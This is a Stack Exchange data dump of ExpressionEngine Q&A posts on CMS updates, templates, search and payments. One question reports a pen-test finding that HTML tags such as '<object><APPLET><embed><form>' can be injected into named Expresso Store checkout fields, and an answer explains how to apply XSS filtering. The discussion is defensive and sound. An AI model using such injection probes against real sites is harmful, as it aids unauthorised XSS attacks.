  <row Id="30946" PostTypeId="1" CreationDate="2015-04-09T09:54:56.897" Score="1" ViewCount="5566" Body="&lt;p&gt;I'm in the process of updating a site from EE 2.9.0 to 2.9.3. As always, I've follow through the update process specified in the docs step by step. Upon running the update wizard the process seemed to get to 2.9.2 (ie. it was showing 2.9.2 in the wizard's progress window, but I don't know whether that means it was in the process of installing 2.9.2 or whether it meant that 2.9.2 was fully installed and it was now installing 2.9.3). But rather than completing the process it suddenly displayed a white screen saying &quot;&lt;strong&gt;No direct script access allowed&lt;/strong&gt;&quot;. The URL in the browser is &lt;a href=&quot;http://mydomain/admin.php?C=wizard&amp;amp;M=do_update&amp;amp;language=english&quot; rel=&quot;nofollow&quot;&gt;http://mydomain/admin.php?C=wizard&amp;amp;M=do_update&amp;amp;language=english&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re-running the wizard gives the same result, except that this time the white screen appears immediately (without showing the wizard's progress window and without mentioning 2.9.1 or 2.9.2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never run into this issue before during updates; does anyone know what might be causing it?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2015-04-09T14:24:38.780" Title="What might cause &quot;No direct script access allowed&quot; during EE update" Tags="|updating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30948" PostTypeId="2" ParentId="26564" CreationDate="2015-04-09T11:38:44.107" Score="1" Body="&lt;p&gt;Assuming you are using the standard MailingList module and you just can't get &lt;code&gt;{unsubscribe_url}&lt;/code&gt; to work, you can create the unsubscribe URL yourself with a little PHP snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;  //fetch the action ID&#xA;  $actionID = ee()-&amp;gt;functions-&amp;gt;fetch_action_id('Mailinglist','unsubscribe');&#xA;&#xA;  //was it a valid ACT ID? If not the mailing list is probably not installed&#xA;  $unsubUrl = &quot;&quot;;&#xA;  if ( !empty($actionID) &amp;amp;&amp;amp; isnumeric($actionID) &amp;amp;&amp;amp; intval($actionID) == $actionID ) {&#xA;      //create the URL&#xA;      $unsubUrl = ee()-&amp;gt;functions-&amp;gt;fetch_site_index(true) . '?ACT=' . $actionID;&#xA;  } else {&#xA;      //optionally handle issues here, we have no action!&#xA;  }&#xA;&#xA;  //Display the link&#xA;  if ( !empty($unsubUrl) ){ ?&amp;gt;&#xA;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo $unsubUrl; ?&amp;gt;&quot; title=&quot;Unsubscribe&quot;&amp;gt;Unsubscribe&amp;lt;/a&amp;gt;&#xA;&#xA;  &amp;lt;?php }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ammendum&lt;/strong&gt;&#xA;Of course, if you're using the standard template you can't use PHP as above...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've copied the default template as it is supplied by the module (fresh install) and I notice a couple of little things in your snippet. Here's the default template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{message_text}&#xA;&#xA;To remove your email from this mailing list, click here:&#xA;{if html_email}&amp;lt;a href=\&quot;{unsubscribe_url}\&quot;&amp;gt;{unsubscribe_url}&amp;lt;/a&amp;gt;{/if}&#xA;{if plain_email}{unsubscribe_url}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I notice that the quotes are all escaped in the default template, looking at the 3rd line (&lt;code&gt;{if html_email}...&lt;/code&gt;) you'll see all the quotes are escaped &lt;code&gt;\&quot;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you try the example with the escaped quotes please? Also as I mentioned can you confirm the unsubscribe action is set up correctly (i.e. is present in &lt;code&gt;exp_actions&lt;/code&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-04-09T11:54:17.037" LastActivityDate="2015-04-09T11:54:17.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30949" PostTypeId="1" CreationDate="2015-04-09T12:07:36.557" Score="0" ViewCount="175" Body="&lt;p&gt;I use the following simple search tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;content|symposium|whos_who|nieuws&quot; results=&quot;9&quot; search_in=&quot;entries&quot; where=&quot;all&quot; result_page=&quot;zoeken/index&quot; no_result_page=&quot;zoeken/no-result&quot; status=&quot;not closed&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But weirdly enough, it displays entries when the search is done which are closed. It doesn't matter what I put the status parameter on. How can this happen?&lt;/p&gt;&#xA;" OwnerUserId="6083" LastEditorUserId="22" LastEditDate="2015-04-09T14:28:06.850" LastActivityDate="2015-04-16T12:43:25.863" Title="Simple search form shows entries with closed status" Tags="|search|status|simple-search|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30950" PostTypeId="2" ParentId="30949" CreationDate="2015-04-09T14:14:52.993" Score="1" Body="&lt;p&gt;Your question peaked my interest, so I put together a test on my sandbox. I admit this is an out of date EE2.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried out a number of variations however the one thing that springs out to me is that the &quot;not&quot; in status seems to cause unexpected results. For example I did a search with &lt;code&gt;status=&quot;not open&quot;&lt;/code&gt; and got no results (expecting 2), when I say &quot;no results&quot; I mean I got an error message about invalid action! Certainly not as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I re-did the search with &lt;code&gt;status=&quot;closed&quot;&lt;/code&gt; and immediately got the 2 results I was execting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my conclusion is that the not part seems less than iron cast. through experimentation can I suggest you list the acceptible statuses in the status attribute, instead of &quot;not&quot; statuses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this works out for you, I'd perhaps pose it as a bug...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-09T14:14:52.993" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="30951" PostTypeId="2" ParentId="30946" CreationDate="2015-04-09T14:24:38.780" Score="1" Body="&lt;p&gt;Looks like previous issues like this could relate to your plugins : &lt;a href=&quot;https://ellislab.com/forums/viewthread/110352/#691061&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/110352/#691061&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps try removing your plugins before upgrade then re-add them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further we see this error message amongst many CI and EE files at the top of the class files, it's so common that debugging can cause all sorts of issues: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I suggest you look to your broken installation and see what the state of the BASEPATH definition is? &lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-09T14:24:38.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30952" PostTypeId="2" ParentId="30589" CreationDate="2015-04-09T14:58:16.940" Score="1" Body="&lt;p&gt;In the case of your specific question, the problem is your &lt;code&gt;/add_custom_fields&lt;/code&gt; part is technically part of the path query parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do is add it as part of a query string (so &lt;code&gt;members/register/?extended=true&lt;/code&gt;) and then detect with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;input-&amp;gt;get('extended');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you check that the setting to allow get parameters is allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method I would consider is rolling your own registration form as a template that you can embed, lets say &lt;code&gt;site/.regForm&lt;/code&gt; for example, it just needs to post to the register_member action that you can get from your DB table &lt;code&gt;exp_actions&lt;/code&gt; or with &lt;code&gt;ee()-&amp;gt;functions-&amp;gt;fetch_action_id(&quot;Member&quot;,&quot;register_member&quot;);&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in here, set up your custom fields in a conditional set to an embed variable like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {embed:show_extended} == 'yes'}&#xA;    {!-- Show custom fields here --}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, mak a template to hold the 'standard' sign up form, lets say &lt;code&gt;site/register&lt;/code&gt; and embed your registration form. Or as you're editing the member templates you could edit the actual template to embed your custom form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, create your 'extended' registration template, at &lt;code&gt;site/full-register&lt;/code&gt; and again embed your form, but this time set &lt;code&gt;show_extended&lt;/code&gt; to true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should all work fine.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-09T14:58:16.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30953" PostTypeId="1" CreationDate="2015-04-09T15:13:47.230" Score="1" ViewCount="36" Body="&lt;p&gt;I am playing around with a creating an accessory for EE and I am trying to figure out how to run a JavaScript function after the channel entries listing has been filtered.  Any idea how I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="2358" LastEditorUserId="28" LastEditDate="2015-04-10T17:22:40.173" LastActivityDate="2016-05-19T02:25:02.810" Title="detect when the channel entries list in control panel has been filtered" Tags="|channel-entries|forms|javascript|filtering|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30954" PostTypeId="2" ParentId="30839" CreationDate="2015-04-09T16:13:37.647" Score="1" Body="&lt;p&gt;Ok - the problem was trivial. As you can see in the template-code above I just missed a slash. This one&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{page}&#xA;   {pagination_url}{pagination_page_number}&#xA;{page}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just has to be replaced with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{page}&#xA;   {pagination_url}{pagination_page_number}&#xA;{/page}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It was worked out by the excellent and engaged guy from Solspace - thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2015-04-09T16:13:37.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30955" PostTypeId="2" ParentId="30953" CreationDate="2015-04-09T16:41:37.037" Score="0" Body="&lt;p&gt;There might be a better EE way of doing this but I found this little jQuery plugin that seems to work quite well, it detects changes in elements.  So I use it to detect a change in the entry listing table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3233991/jquery-watch-div/3234646#3234646&quot;&gt;https://stackoverflow.com/questions/3233991/jquery-watch-div/3234646#3234646&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2358" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-04-09T16:41:37.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30956" PostTypeId="2" ParentId="30744" CreationDate="2015-04-09T18:25:45.253" Score="0" Body="&lt;p&gt;The answer is that this isn't currently possible. I had a Twitter conversation with Brad and Andris at Pixel and Tonic. Here's the conversation: &lt;a href=&quot;https://twitter.com/BertBartBrett/status/583301880471773184&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/BertBartBrett/status/583301880471773184&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1016" LastActivityDate="2015-04-09T18:25:45.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30957" PostTypeId="1" AcceptedAnswerId="30973" CreationDate="2015-04-09T18:32:50.817" Score="1" ViewCount="102" Body="&lt;p&gt;I am creating a faceted search using Low Search with the help of &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19996/faceted-search-with-categories-using-low-search&quot;&gt;this post&lt;/a&gt;. I would like to include a list of years as a facet, too, but I only want years listed where there is an entry. For example, if I had an entries in 2004, 2005, 2007, 2010 and 2014, I'd want those to be what displays, but not 2006, 2008, 2009, etc. I'm stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE APRIL 10:&lt;/strong&gt;&#xA;I've made some headway! Using Low's &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/examples#ranges&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Ranges&quot; examples&lt;/a&gt; (scroll down to &quot;Show entries for a given month&quot;), I created my list of years. I'd really like to be able to generate the range dynamically so that I don't have to manually change the range every year. I created a low variable that outputs the year, but when I use it as the parameter value it creates a list of numbers starting from zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my search code with the manual range that works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form form_id=&quot;search&quot; result_page=&quot;docs/index&quot; query=&quot;{segment_2}&quot;}&#xA;&#xA;…other facets…&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Year&amp;lt;/legend&amp;gt;&#xA;    {exp:low_list:each items=&quot;2014|2003&quot; as=&quot;year&quot; range=&quot;yes&quot;}&#xA;        &amp;lt;label&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;year&quot; value=&quot;{year}&quot;{if low_search_year == year} checked{/if} /&amp;gt;&#xA;            {year}&#xA;        &amp;lt;/label&amp;gt;&#xA;    {/exp:low_list:each}&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; class=&quot;btn btn-small&quot; value=&quot;Filter&quot; /&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's my search code with the low variable used in the range, which outputs a list of numbers starting at 0 (the variable when not used as a parameter value outputs just fine):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form form_id=&quot;search&quot; result_page=&quot;docs/index&quot; query=&quot;{segment_2}&quot;}&#xA;&#xA;…other facets…&#xA;&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Year&amp;lt;/legend&amp;gt;&#xA;    {exp:low_list:each items=&quot;{exp:low_variables:single var='lv_var_doc_library_published_year' preparse:var_doc_library_sort='desc'}|2003&quot; as=&quot;year&quot; range=&quot;yes&quot;}&#xA;        &amp;lt;label&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; name=&quot;year&quot; value=&quot;{year}&quot;{if low_search_year == year} checked{/if} /&amp;gt;&#xA;            {year}&#xA;        &amp;lt;/label&amp;gt;&#xA;    {/exp:low_list:each}&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; class=&quot;btn btn-small&quot; value=&quot;Filter&quot; /&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anybody have any ideas about how I can dynamically populate the parameter value?&lt;/p&gt;&#xA;" OwnerUserId="1016" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-04-10T16:29:02.173" Title="Using years as facets in Low Search faceted search" Tags="|search|low-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30958" PostTypeId="1" AcceptedAnswerId="31010" CreationDate="2015-04-10T00:33:43.647" Score="0" ViewCount="74" Body="&lt;p&gt;For some reason having difficulty getting the homepage to translate. It just won't swap language although it adds the language prefix after the domain name &quot;domain.co.uk/cy/ but the language switcher links still show's &quot;en&quot; and no content gets translated.&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-04-13T23:16:14.443" Title="How to get homepage to swap language?" Tags="|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30959" PostTypeId="2" ParentId="26153" CreationDate="2015-04-10T10:08:00.177" Score="0" Body="&lt;p&gt;i assume from your hard coded example you've set up the Status group with those entries? status is validated against the status group...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Marc Miller illudes to, have you linked your custom status group to the channel you are posting in (Admin -&gt; Channel Administration -&gt; Channels -&gt; Edit Group Assignments (on the desired channel))?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, using your hard coded example, haveyou double checked the casing on your statuses? They are case sensative! Worse still when you edit statuses in the CP Open and Closed are displayed &lt;em&gt;proper case&lt;/em&gt;, however the value you need to submit in &lt;em&gt;lowercase&lt;/em&gt; (notice this in lincolnpixel's example above?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create a new status the value submitted should match the case you typed in on custom statuses editing screen, if its the default Open and Closed, these values must be lowercase. for the ultimate check look at your &lt;code&gt;exp_statuses&lt;/code&gt; table.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-10T10:08:00.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30960" PostTypeId="1" AcceptedAnswerId="30962" CreationDate="2015-04-10T10:16:26.087" Score="2" ViewCount="93" Body="&lt;p&gt;I have a client who got a security check done on their site (they are a security company) and they came back with this in relation to an expresso store checkout:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Checkout functionality&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Although there was good input filtering in place on the checkout functionality, the team were able to inject html tags into the response. An attacker with sufficient time would likely to be able to construct a viable XSS payload. The following parameters were found to be vulnerable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/shop/checkout [billing_address1 parameter]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/shop/checkout [billing_address2 parameter]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/shop/checkout [billing_city parameter]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/shop/checkout [billing_first_name parameter]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/shop/checkout [billing_last_name parameter]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/shop/checkout [billing_phone parameter]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/shop/checkout [billing_postcode parameter]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/shop/checkout [order_email parameter]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The team also observed that these values are stored in a database, meaning stored XSS attacks are feasibly possible, although the team could not identify a location where the values are subsequently output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I can enter &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; into the field inputs, which comes back as [removed] in my form, which is great. But I was able to add the following into my input field for the billing name: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;object&amp;gt;&amp;lt;APPLET&amp;gt;&amp;lt;embed&amp;gt;&amp;lt;form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it saved this into the database along with my name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my real question is: what are the security implications of this, and is there a 'dictionary of bad things' file somewhere I can add the above tags to in EE that when submitted, my form will come back with [removed] like it did with the script tag?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2015-04-24T16:14:56.670" Title="Can you add to the restricted tags filter for security in EE to secure the application further?" Tags="|expresso-store|security|xss|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30961" PostTypeId="1" AcceptedAnswerId="30969" CreationDate="2015-04-10T10:31:57.830" Score="0" ViewCount="97" Body="&lt;p&gt;We're setting up a store for a charity that accepts donations and also sells items, they have two bank accounts one for donations and one for the shop so we've setup two stripe accounts to process these separately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've setup the templates and everything works great, but we can't work out how to add a second stripe API key in the backend, is this possible and if so how should we go about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2015-04-10T15:05:07.813" Title="Expresso store - using two stripe payment gateways" Tags="|expresso-store|payment-gateway|stripe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30962" PostTypeId="2" ParentId="30960" CreationDate="2015-04-10T11:10:37.083" Score="2" Body="&lt;p&gt;I too have been faced with rather demanding security injection testing on EE (and non EE) sites so I can fee lyour pain, and speak from some experiance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First the direct answer to your question. There isn't a directory/list, however you can read and modify the security library here (it uses the CodeIgniter Lib, whcih is assimilated by the EE_Security file) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/system/codeigniter/system/core/Security.php&#xA;/system/expressionengine/core/EE_Security.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me stress &lt;strong&gt;You SHOULD NOT edit or tamper with these files&lt;/strong&gt; however warnings aside you'll see the defined naughty strings in the top of the file...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next take a look at line 276 of the CI Security lib, you see how your naughty words are in there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So one of 2 things is happening, either the naughty tags are getting properly encoded into the DB (ie &lt;code&gt;&amp;amp;lt;applet&amp;amp;gt;&lt;/code&gt;) and are getting transformed or unencoded before display (uh ho), resulting in correct storage, incorrect display, or there is a problem with the sanitisor and it's not picking them up properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tells us that in fact Expresso checkout might be avoiding the XSS filter somehow, or it is using its own...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look to this page (&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#cross-site-scripting-xss&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#cross-site-scripting-xss&lt;/a&gt;) you'll see the real hint, XSS filtering is not applied by default to GET or POST. ( I beleive the script check might be, but not extended XSS filtering)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would be inclined to do is check your Expresso version (ensure it's latest and greatest) and check your EE version for how it applies XS filtering to normal POST values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can still inject &lt;code&gt;&amp;lt;applet&amp;gt;&lt;/code&gt; ect then I'd get into the module files for expresso checkout and find where the values are taken from the POST. Expresso &lt;strong&gt;should&lt;/strong&gt; be using &lt;code&gt;ee()-&amp;gt;input-&amp;gt;post('var_name', true);&lt;/code&gt; to fetch values (the second parameter is for applying XSS filtering).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is missing you could simply add the &lt;code&gt;true&lt;/code&gt; second parameter and you should be good to go (apart from having to edit a 3rd party module). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are using the $_POST directly (tut tut) then you'll have to add a call to xss_clean function, by example : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//expresso retreived the value&#xA;$retrievedValue = $_POST['myvalue'];&#xA;&#xA;//START Added Code : we'll clean this for you!&#xA;$retrievedValue = ee()-&amp;gt;security-&amp;gt;xss_clean($retrievedValue )&#xA;//END Added Code&#xA;&#xA;//expresso uses the value&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either way debug the values as you go and you should be able to identify the why and the resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know how you get on fella, and keep the faith, cleaning a site for a strict security pen test can be a bit of a grind, but you'll get there and you'll know all about securing EE sites next time! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;references&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember EE is built on CI, so in many cases you can refer to the CI docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here for info on the input library of CI : &lt;a href=&quot;https://ellislab.com/codeigniter/user-guide/libraries/input.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/codeigniter/user-guide/libraries/input.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here for the security library : &lt;a href=&quot;https://ellislab.com/codeigniter/user-guide/libraries/security.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/codeigniter/user-guide/libraries/security.html&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-04-10T12:36:46.750" LastActivityDate="2015-04-10T12:36:46.750" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="30963" PostTypeId="2" ParentId="21878" CreationDate="2015-04-10T12:31:50.767" Score="0" Body="&lt;p&gt;Do you need your running count in javascript or PHP?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to just be able to map the facility to the google map marker you could do something like this inJavascript (I'm assuming you want to link an anchor to a marker pointer in the JS array) : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Before we start, initialise a counter &amp;amp; relationship array in JS --&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    var c = 0;&#xA;    var facility2Marker = new Array();&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;!-- print out the menu and apply markers --&amp;gt;&#xA;{exp:channel:categories}&#xA;    {category_name}&#xA;    {exp:channel:entries channel=&quot;{catagory_url_title}&quot;}&#xA;        &amp;lt;a class=&quot;showMarker&quot; href=&quot;#&quot; data-facility=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;            //add linkage&#xA;            facility2Marker[&quot;{url_title}&quot;] = c;&#xA;&#xA;            //Code Here to add Maps Marker&#xA;            new google.maps.Marker({&#xA;                position: myLatlng,&#xA;                map: map,&#xA;                title: '{title}'&#xA;            });&#xA;&#xA;            //move the counter on&#xA;            c++;&#xA;&#xA;        &amp;lt;/script&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/exp:channel:categories}&#xA;&#xA;&amp;lt;!-- set up the click event --&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    //assuming your using JQuery here&#xA;    $('.showMarker').click(e){&#xA;        e.preventDefault();&#xA;        //get the index from the linkage&#xA;        var MarkerIndex = facility2Marker[$(this_.data(&quot;facility&quot;)];&#xA;        //do something with the marker&#xA;        markerArray[MarkerIndex].DoSummin();&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please do note, I just typed this into the editor, so it's not Copy Paste of working code! E &amp;amp; OE, Please excuse syntax or spelling mistakes, it''s just to give you the idea...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-10T12:31:50.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30964" PostTypeId="1" AcceptedAnswerId="30983" CreationDate="2015-04-10T12:42:44.083" Score="0" ViewCount="39" Body="&lt;p&gt;I am using EE 2.9 on my localhost and have just installed the forum software that I purchased a few hours ago. Everything seemed to be simple enough and I am sure that I put all the right stuff in the correct folders. When this was done, I tried to get into the admin area to complete the installation but was unable to do so. I can bring up the admin login page ok, but after I input my details I get the error message shown in the attached GIF image.&#xA;Can anyone help with this ?&lt;img src=&quot;https://i.stack.imgur.com/719zJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6211" LastActivityDate="2015-04-11T11:22:16.567" Title="Login Problems @ Control Panel after installing Forum software" Tags="|control-panel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30965" PostTypeId="2" ParentId="30491" CreationDate="2015-04-10T13:24:44.120" Score="0" Body="&lt;p&gt;Also check the &quot;URL of Upload Directory&quot; path in the File Upload Preferences entry for the directory. I had an extra &quot;public&quot; in there because I stupidly copied too much of the file path into the URL path field. I could see the thumbnails in the _thumbs directory and everything had the correct permissions. The problem was the URL path that caused the Control Panel and the site to have an invalid URL to the thumbnail and hence all I saw was the unavailable image icon.&lt;/p&gt;&#xA;" OwnerUserId="2436" LastActivityDate="2015-04-10T13:24:44.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30966" PostTypeId="2" ParentId="30964" CreationDate="2015-04-10T13:55:37.643" Score="0" Body="&lt;p&gt;You have a news_and_stats accessory installed. It looks like its trying to display some sort of RSS feed on your Admin control panel. From the stack trace it seems this accessory is trying to cUrl a request (might be a phone home or an update check) from the function _fetch_news.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would hazard a guess you don't have cUrl installed on your local server, or the URL it is cUrl'ing is unavailable from your local computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out your &lt;code&gt;phpinfo()&lt;/code&gt; for cUrl status, and if presnet check out line 78 of &lt;code&gt;acc.news_and_stats.php&lt;/code&gt; (probably in &lt;code&gt;/system/expressionengine/third_party/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be advisable to uninstall this accessory, finish your update then re-install if it was working on localhost before upgrade...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-10T13:55:37.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
